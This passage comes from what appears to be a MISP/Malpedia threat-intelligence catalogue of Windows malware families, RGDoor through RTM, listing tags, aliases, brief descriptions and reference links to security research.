<td><a href="https://threatintel.blog/OBlueRaven-Part1/">https://threatintel.blog/OBlueRaven-Part1/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/fwosar/status/1420119812815138824">https://twitter.com/fwosar/status/1420119812815138824</a></td>
</tr>
<tr>
<td><a href="https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v">https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v</a></td>
</tr>
<tr>
<td><a href="https://hatching.io/blog/ransomware-part2">https://hatching.io/blog/ransomware-part2</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Jacob_Pimental/status/1398356030489251842?s=20">https://twitter.com/Jacob_Pimental/status/1398356030489251842?s=20</a></td>
</tr>
<tr>
<td><a href="https://www.databreaches.net/a-former-darkside-listing-shows-up-on-revils-leak-site/">https://www.databreaches.net/a-former-darkside-listing-shows-up-on-revils-leak-site/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=tZVFVMv5GAk">https://www.youtube.com/watch?v=tZVFVMv5GAk</a></td>
</tr>
<tr>
<td><a href="https://asec.ahnlab.com/ko/19640/">https://asec.ahnlab.com/ko/19640/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/s2wlab/deep-analysis-of-revil-ransomware-written-in-korean-d1899c0e9317">https://medium.com/s2wlab/deep-analysis-of-revil-ransomware-written-in-korean-d1899c0e9317</a></td>
</tr>
<tr>
<td><a href="https://medium.com/s2wlab/w4-may-en-story-of-the-week-ransomware-on-the-darkweb-5f5b8d4c3b6f">https://medium.com/s2wlab/w4-may-en-story-of-the-week-ransomware-on-the-darkweb-5f5b8d4c3b6f</a></td>
</tr>
<tr>
<td><a href="https://gist.githubusercontent.com/fwosar/a63e1249bfcccb8395b961d3d780c0354/raw/312b2bbc566cbe2d7c7b143dc143c1913d7b29/revil.json">https://gist.githubusercontent.com/fwosar/a63e1249bfcccb8395b961d3d780c0354/raw/312b2bbc566cbe2d7c7b143dc143c1913d7b29/revil.json</a></td>
</tr>
<tr>
<td><a href="https://awakesecurity.com/blog/threat-hunting-for-revil-ransomware/">https://awakesecurity.com/blog/threat-hunting-for-revil-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://www.appgate.com/blog/electric-company-ransomware-attack-calls-for-14-million-in-ransom">https://www.appgate.com/blog/electric-company-ransomware-attack-calls-for-14-million-in-ransom</a></td>
</tr>
<tr>
<td><a href="https://www.cyjax.com/2021/07/09/revilevolution/">https://www.cyjax.com/2021/07/09/revilevolution/</a></td>
</tr>
</tbody>
</table>
RGDoor

The tag is: misp-galaxy:malpedia="RGDoor"

RGDoor is also known as:

Table 3979. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rgdoor">https://malpedia.caad.fkie.fraunhofer.de/details/win.rgdoor</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2021/08/06/anatomy-native-iis-malware/">https://www.welivesecurity.com/2021/08/06/anatomy-native-iis-malware/</a></td>
</tr>
<tr>
<td><a href="https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware.pdf">https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/cobalt-gypsy">https://www.secureworks.com/research/threat-profiles/cobalt-gypsy</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/cobalt-lyceum">https://www.secureworks.com/research/threat-profiles/cobalt-lyceum</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/ongoing-campaign-leveraging-exchange-vulnerability-potentially-linked-to-iran">https://www.secureworks.com/blog/ongoing-campaign-leveraging-exchange-vulnerability-potentially-linked-to-iran</a></td>
</tr>
<tr>
<td><a href="https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf">https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf</a></td>
</tr>
<tr>
<td><a href="https://drive.google.com/file/d/1oA4YSwXLxEF-EXJcrM76Bc4_7ZfBGYE4/view">https://drive.google.com/file/d/1oA4YSwXLxEF-EXJcrM76Bc4_7ZfBGYE4/view</a></td>
</tr>
<tr>
<td><a href="https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae">https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae</a></td>
</tr>
</tbody>
</table>

Rhadamanthys

According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.

At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.
The tag is: *misp-galaxy:malpedia*="Rhadamanthys"

Rhadamanthys is also known as:

**Table 3980. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys">https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys</a></td>
</tr>
<tr>
<td><a href="https://threatmon.io/rhadamanthys-stealer-analysis-threatmon/">https://threatmon.io/rhadamanthys-stealer-analysis-threatmon/</a></td>
</tr>
<tr>
<td><a href="https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign">https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign</a></td>
</tr>
<tr>
<td><a href="https://www.zscaler.com/blogs/security-research/technical-analysis-rhadamanthys-obfuscation-techniques">https://www.zscaler.com/blogs/security-research/technical-analysis-rhadamanthys-obfuscation-techniques</a></td>
</tr>
<tr>
<td><a href="https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023">https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/the-growing-threat-from-infostealers">https://www.secureworks.com/research/the-growing-threat-from-infostealers</a></td>
</tr>
<tr>
<td><a href="https://elis531989.medium.com/dancing-with-shellcodes-analyzing-rhadamanthys-stealer-3c4986966a88">https://elis531989.medium.com/dancing-with-shellcodes-analyzing-rhadamanthys-stealer-3c4986966a88</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2023/rhadamanthys-the-everything-bagel-infostealer/">https://research.checkpoint.com/2023/rhadamanthys-the-everything-bagel-infostealer/</a></td>
</tr>
<tr>
<td><a href="https://www.malware-traffic-analysis.net/2023/01/03/index.html">https://www.malware-traffic-analysis.net/2023/01/03/index.html</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/">https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/</a></td>
</tr>
<tr>
<td><a href="https://outpost24.com/blog/rhadamanthys-malware-analysis/">https://outpost24.com/blog/rhadamanthys-malware-analysis/</a></td>
</tr>
</tbody>
</table>

**Rhino**

Ransomware.

The tag is: *misp-galaxy:malpedia*="Rhino"

Rhino is also known as:

**Table 3981. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rhino">https://malpedia.caad.fkie.fraunhofer.de/details/win.rhino</a></td>
</tr>
</tbody>
</table>
RHttpCtrl

The tag is: misp-galaxy:malpedia="RHttpCtrl"

RHttpCtrl is also known as:

Table 3982. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rhttpctrl">https://malpedia.caad.fkie.fraunhofer.de/details/win.rhttpctrl</a></td>
</tr>
</tbody>
</table>

Rhysida

The tag is: misp-galaxy:malpedia="Rhysida"

Rhysida is also known as:

Table 3983. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rhysida">https://malpedia.caad.fkie.fraunhofer.de/details/win.rhysida</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/rhysida-ransomware/">https://blog.talosintelligence.com/rhysida-ransomware/</a></td>
</tr>
</tbody>
</table>

Rietspoof

Rietspoof is malware that mainly acts as a dropper and downloader, however, it also sports bot capabilities and appears to be in active development.

The tag is: misp-galaxy:malpedia="Rietspoof"

Rietspoof is also known as:
### Rifdoor

The tag is: *misp-galaxy:malpedia=*"Rifdoor"

Rifdoor is also known as:

### Table 3985. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rifdoor">https://malpedia.caad.fkie.fraunhofer.de/details/win.rifdoor</a></td>
</tr>
<tr>
<td><a href="https://mega.nz/file/lkh1gY5C#93FUlwTwIy27cfM0jtm4SYnWbtk06d0qoDg1e4eQ6s">https://mega.nz/file/lkh1gY5C#93FUlwTwIy27cfM0jtm4SYnWbtk06d0qoDg1e4eQ6s</a></td>
</tr>
<tr>
<td><a href="http://www.issuemakerslab.com/research3/">http://www.issuemakerslab.com/research3/</a></td>
</tr>
</tbody>
</table>

AhnLabAndariel_a_Subgroup_of_Lazarus%20(3).pdf[AhnLabAndariel_a_Subgroup_of_Lazarus%20(3).pdf]

### Rikamanu

The tag is: *misp-galaxy:malpedia=*"Rikamanu"

Rikamanu is also known as:

### Table 3986. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rikamanu">https://malpedia.caad.fkie.fraunhofer.de/details/win.rikamanu</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets">https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets</a></td>
</tr>
</tbody>
</table>

### Rincux

The tag is: *misp-galaxy:malpedia=*"Rincux"

Rincux is also known as:

### Table 3987. Table References
Ripper ATM

The tag is: *misp-galaxy:malpedia*="Ripper ATM"

Ripper ATM is also known as:

*Table 3988. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ripper_atm">https://malpedia.caad.fkie.fraunhofer.de/details/win.ripper_atm</a></td>
</tr>
</tbody>
</table>

RisePro

RisePro is a stealer that is spread through downloaders like win.privateloader. Once executed on a system, the malware can steal credit card information, passwords, and personal data.

The tag is: *misp-galaxy:malpedia*="RisePro"

RisePro is also known as:

*Table 3989. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.risepro">https://malpedia.caad.fkie.fraunhofer.de/details/win.risepro</a></td>
</tr>
</tbody>
</table>

Rising Sun

The tag is: *misp-galaxy:malpedia*="Rising Sun"

Rising Sun is also known as:

*Table 3990. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rising_sun">https://malpedia.caad.fkie.fraunhofer.de/details/win.rising_sun</a></td>
</tr>
</tbody>
</table>
RM3

Created from the codebase of Gozi/ISFB.

The tag is: `misp-galaxy:malpedia="RM3"`

RM3 is also known as:

Table 3991. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rm3">https://malpedia.caad.fkie.fraunhofer.de/details/win.rm3</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/URSNIFleak">https://twitter.com/URSNIFleak</a></td>
</tr>
<tr>
<td><a href="https://research.nccgroup.com/2021/05/04/rm3-curiosities-of-the-wildest-banking-malware/">https://research.nccgroup.com/2021/05/04/rm3-curiosities-of-the-wildest-banking-malware/</a></td>
</tr>
</tbody>
</table>

RMS

CyberInt states that Remote Manipulator System (RMS) is a legitimate tool developed by Russian organization TektonIT and has been observed in campaigns conducted by TA505 as well as numerous smaller campaigns likely attributable to other, disparate, threat actors. In addition to the availability of commercial licenses, the tool is free for non-commercial use and supports the remote administration of both Microsoft Windows and Android devices.

The tag is: `misp-galaxy:malpedia="RMS"`

RMS is also known as:

- Gussdoor
- Remote Manipulator System
- RuRAT

Table 3992. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rms">https://malpedia.caad.fkie.fraunhofer.de/details/win.rms</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution">https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution</a></td>
</tr>
<tr>
<td><a href="https://awakesecurity.com/blog/catching-the-white-stork-in-flight/">https://awakesecurity.com/blog/catching-the-white-stork-in-flight/</a></td>
</tr>
</tbody>
</table>
RoarBAT

According to SOCRadar, this is a batch script that uses WinRAR to delete files with target file extensions from a disk.

The tag is: misp-galaxy:malpedia="RoarBAT"

RoarBAT is also known as:

RobinHood

The tag is: misp-galaxy:malpedia="RobinHood"

RobinHood is also known as:

- RobbinHood
The tag is: misp-galaxy:malpedia="rock"

rock is also known as:

- yellowalbatross

Table 3995. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.rock

**Rockloader**

The tag is: misp-galaxy:malpedia="Rockloader"

Rockloader is also known as:

Table 3996. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.rockloader
Rofin

The tag is: `misp-galaxy:malpedia="Rofin"`

Rofin is also known as:

Table 3997. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rofin">https://malpedia.caad.fkie.fraunhofer.de/details/win.rofin</a></td>
</tr>
</tbody>
</table>

RogueRobinNET

A .NET variant of `ps1.roguerobin`

The tag is: `misp-galaxy:malpedia="RogueRobinNET"`

RogueRobinNET is also known as:

Table 3998. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.roguerobin">https://malpedia.caad.fkie.fraunhofer.de/details/win.roguerobin</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/">https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/</a></td>
</tr>
<tr>
<td><a href="https://ti.360.net/blog/articles/latest-target-attack-of-darkhydruns-group-against-middle-east-en/">https://ti.360.net/blog/articles/latest-target-attack-of-darkhydruns-group-against-middle-east-en/</a></td>
</tr>
</tbody>
</table>

Rokku

The tag is: `misp-galaxy:malpedia="Rokku"`

Rokku is also known as:

Table 3999. Table References
RokRAT

It is a backdoor commonly distributed as an encoded binary file downloaded and decrypted by shellcode following the exploitation of weaponized documents. DOGCALL is capable of capturing screenshots, logging keystrokes, evading analysis with anti-virtual machine detections, and leveraging cloud storage APIs such as Cloud, Box, Dropbox, and Yandex.

The tag is: *misp-galaxy:malpedia="RokRAT"*

RokRAT is also known as:

- DOGCALL

Table 4000. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rokku">https://malpedia.caad.fkie.fraunhofer.de/details/win.rokku</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=uoBQE5s2ba4">https://www.youtube.com/watch?v=uoBQE5s2ba4</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2023/chain-reaction-rokrats-missing-link/">https://research.checkpoint.com/2023/chain-reaction-rokrats-missing-link/</a></td>
</tr>
<tr>
<td><a href="http://v3lo.tistory.com/24">http://v3lo.tistory.com/24</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ESETresearch/status/1575103839115804672">https://twitter.com/ESETresearch/status/1575103839115804672</a></td>
</tr>
</tbody>
</table>
ROLLCOAST

ROLLCOAST is a ransomware program that encrypts files on logical drives attached to a system. ROLLCOAST is a Dynamic Linked Library (DLL) with no named exports. When observed by Mandiant it uniquely had only one ordinal export 0x01. This suggested the sample was designed to avoid detection and be invoked within memory, possibly through BEACON provided to affiliates. Incident responders working on similar intrusions should capture memory for analysis.

The tag is: misp-galaxy:malpedia="ROLLCOAST"

ROLLCOAST is also known as:

- Arcane
- S4bb47h
- Sabbath

Table 4001. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.rollcoast
https://www.mandiant.com/resources/sabbath-ransomware-affiliate
Rombertik

The tag is: *misp-galaxy:malpedia="Rombertik"

Rombertik is also known as:

- CarbonGrabber

Table 4002. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rombertik">https://malpedia.caad.fkie.fraunhofer.de/details/win.rombertik</a></td>
</tr>
<tr>
<td><a href="http://blogs.cisco.com/security/talos/rombertik">http://blogs.cisco.com/security/talos/rombertik</a></td>
</tr>
</tbody>
</table>

ROMCOM RAT

Unit 42 observed threat actor Tropical Scorpius using this RAT in operations where also Cuba ransomware was deployed.

The tag is: *misp-galaxy:malpedia="ROMCOM RAT"

ROMCOM RAT is also known as:

Table 4003. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.romcom_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.romcom_rat</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/cuba-ransomware-tropical-scorpius/">https://unit42.paloaltonetworks.com/cuba-ransomware-tropical-scorpius/</a></td>
</tr>
<tr>
<td><a href="https://cert.gov.ua/article/3349703">https://cert.gov.ua/article/3349703</a></td>
</tr>
</tbody>
</table>

Romeo(Alfa,Bravo, ...)

The tag is: *misp-galaxy:malpedia="Romeo(Alfa,Bravo, ...)"
Romeo (Alfa, Bravo, ...) is also known as:

Table 4004. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.romeos">https://malpedia.caad.fkie.fraunhofer.de/details/win.romeos</a></td>
</tr>
</tbody>
</table>

### Rook

According to PCrisk, Rook is ransomware (an updated variant of Babuk) that prevents victims from accessing/opening files by encrypting them. It also modifies filenames and creates a text file/ransom note ("HowToRestoreYourFiles.txt"). Rook renames files by appending the ".Rook" extension. For example, it renames "1.jpg" to "1.jpg.Rook", "2.jpg" to "2.jpg.Rook".

The tag is: `misp-galaxy:malpedia="Rook"`

Rook is also known as:

Table 4005. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rook">https://malpedia.caad.fkie.fraunhofer.de/details/win.rook</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/">https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/</a></td>
</tr>
<tr>
<td><a href="https://seguranca-informatica.pt/rook-ransomware-analysis/">https://seguranca-informatica.pt/rook-ransomware-analysis/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader">https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2022/03/15/deep-dive-analysis-pandora-ransomware/">https://blog.cyble.com/2022/03/15/deep-dive-analysis-pandora-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself">https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself</a></td>
</tr>
<tr>
<td><a href="https://chuongdong.com/reverse%20engineering/2022/01/06/RookRansomware/">https://chuongdong.com/reverse%20engineering/2022/01/06/RookRansomware/</a></td>
</tr>
</tbody>
</table>

### Roopirs

The tag is: `misp-galaxy:malpedia="Roopirs"`

Roopirs is also known as:

Table 4006. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.roopirs">https://malpedia.caad.fkie.fraunhofer.de/details/win.roopirs</a></td>
</tr>
</tbody>
</table>
Roopy

The tag is: misp-galaxy:malpedia="Roopy"

Roopy is also known as:

Table 4007. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.roopy">https://malpedia.caad.fkie.fraunhofer.de/details/win.roopy</a></td>
</tr>
</tbody>
</table>

Rorschach Ransomware

The tag is: misp-galaxy:malpedia="Rorschach Ransomware"

Rorschach Ransomware is also known as:

- BabLock

Table 4008. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rorschach">https://malpedia.caad.fkie.fraunhofer.de/details/win.rorschach</a></td>
</tr>
<tr>
<td><a href="https://www.group-ib.com/blog/bablock-ransomware/">https://www.group-ib.com/blog/bablock-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@simone.kraus/rorschach-ransomware-analysis-with-attack-flow-7fa5ff613a75">https://medium.com/@simone.kraus/rorschach-ransomware-analysis-with-attack-flow-7fa5ff613a75</a></td>
</tr>
</tbody>
</table>

Roseam

The tag is: misp-galaxy:malpedia="Roseam"

Roseam is also known as:

- PisLoader

Table 4009. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.roseam">https://malpedia.caad.fkie.fraunhofer.de/details/win.roseam</a></td>
</tr>
</tbody>
</table>
Roshtyak

A DLL backdoor distributed by Raspberry Robin. According to Avast Decoded, Roshtyak belongs to one of the best-protected malware strains they have ever seen.

The tag is: misp-galaxy:malpedia="Roshtyak"

Roshtyak is also known as:

<table>
<thead>
<tr>
<th>Table 4010. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unsigned-dlls/">https://unit42.paloaltonetworks.com/unsigned-dlls/</a></td>
</tr>
</tbody>
</table>

RotorCrypt

Ransomware that was discovered over the last months of 2016 and likely based on Gomasom, another ransomware family.

The tag is: misp-galaxy:malpedia="RotorCrypt"

RotorCrypt is also known as:

- RotoCrypt
- Rotor

<table>
<thead>
<tr>
<th>Table 4011. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/10/rotorcrypt-ransomware.html">https://id-ransomware.blogspot.com/2016/10/rotorcrypt-ransomware.html</a></td>
</tr>
</tbody>
</table>

Rover

The tag is: misp-galaxy:malpedia="Rover"

Rover is also known as:
Rovnix

Rovnix is a bootkit and consists of a driver loader (in the VBR) and the drivers (32bit, 64bit) themselves. It is part of the Carberp source code leak (https://github.com/nyx0/Rovnix). Rovnix has been used to protect Gozi ISFB, ReactorBot and Rerdom (at least).

The tag is: misp-galaxy:malpedia="Rovnix"

Rovnix is also known as:

- BkLoader
- Cidox
- Mayachok
**RoyalCli**

RoyalCli is a backdoor which appears to be an evolution of BS2005 and uses familiar encryption and encoding routines. The name RoyalCli was chosen by us due to a debugging path left in the binary. RoyalCli and BS2005 both communicate with the attacker’s command and control (C2) through Internet Explorer (IE) by using the COM interface IWebBrowser2.

The tag is: `misp-galaxy:malpedia="RoyalCli"`

RoyalCli is also known as:

*Table 4014. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.royalcli">https://malpedia.caad.fkie.fraunhofer.de/details/win.royalcli</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-palace">https://www.secureworks.com/research/threat-profiles/bronze-palace</a></td>
</tr>
<tr>
<td><a href="https://github.com/nccgroup/Royal_APT">https://github.com/nccgroup/Royal_APT</a></td>
</tr>
</tbody>
</table>

**Royal DNS**

RoyalDNS is a DNS based backdoor used by APT15 that persists on a system through a service called 'Nwsapagent'.

The tag is: `misp-galaxy:malpedia="Royal DNS"`

Royal DNS is also known as:

*Table 4015. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_dns">https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_dns</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-palace">https://www.secureworks.com/research/threat-profiles/bronze-palace</a></td>
</tr>
<tr>
<td><a href="https://github.com/nccgroup/Royal_APT">https://github.com/nccgroup/Royal_APT</a></td>
</tr>
</tbody>
</table>

**Royal Ransom (Windows)**

Ransomware
The tag is: *misp-galaxy:malpedia="Royal Ransom (Windows)"*

Royal Ransom (Windows) is also known as:

*Table 4016. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_ransom">https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_ransom</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/from-royal-with-love-88fa05ff7f65">https://medium.com/walmartglobaltech/from-royal-with-love-88fa05ff7f65</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/">https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/</a></td>
</tr>
<tr>
<td><a href="https://securityscorecard.pathfactory.com/research/the-royal-ransomware">https://securityscorecard.pathfactory.com/research/the-royal-ransomware</a></td>
</tr>
<tr>
<td><a href="https://socradar.io/dark-web-profile-royal-ransomware/">https://socradar.io/dark-web-profile-royal-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/royal-ransomware/">https://unit42.paloaltonetworks.com/royal-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/royal-ransomware-analysis">https://www.cybereason.com/blog/royal-ransomware-analysis</a></td>
</tr>
<tr>
<td><a href="https://yoroi.company/research/reconstructing-the-last-activities-of-royal-ransomware/">https://yoroi.company/research/reconstructing-the-last-activities-of-royal-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/ransomware-roundup-royal-ransomware">https://www.fortinet.com/blog/threat-research/ransomware-roundup-royal-ransomware</a></td>
</tr>
<tr>
<td><a href="https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023">https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-061a">https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-061a</a></td>
</tr>
<tr>
<td><a href="https://www.averium.com/resources/threat-reports/everything-you-need-to-know-about-royal-ransomware">https://www.averium.com/resources/threat-reports/everything-you-need-to-know-about-royal-ransomware</a></td>
</tr>
<tr>
<td><a href="https://www.coalitioninc.com/blog/active-exploitation-firewalls">https://www.coalitioninc.com/blog/active-exploitation-firewalls</a></td>
</tr>
</tbody>
</table>
Rozena

The tag is: misp-galaxy:malpedia="Rozena"

Rozena is also known as:

Table 4017. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rozena">https://malpedia.caad.fkie.fraunhofer.de/details/win.rozena</a></td>
</tr>
<tr>
<td><a href="https://www.gdatasoftware.com/blog/2018/06/30862-fileless-malware-rozena">https://www.gdatasoftware.com/blog/2018/06/30862-fileless-malware-rozena</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/follina-rozena-leveraging-discord-to-distribute-a-backdoor">https://www.fortinet.com/blog/threat-research/follina-rozena-leveraging-discord-to-distribute-a-backdoor</a></td>
</tr>
</tbody>
</table>

RTM

RTM Banker also known as Redaman was first blogged about in February 2017 by ESET. The malware is written in Delphi and shows some similarities (like process list) with Buhrap. It uses a slightly modified version of RC4 to encrypt its strings, network data, configuration and modules, according to ESET.

The tag is: misp-galaxy:malpedia="RTM"

RTM is also known as:

- Redaman

Table 4018. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rtm">https://malpedia.caad.fkie.fraunhofer.de/details/win.rtm</a></td>
</tr>
</tbody>
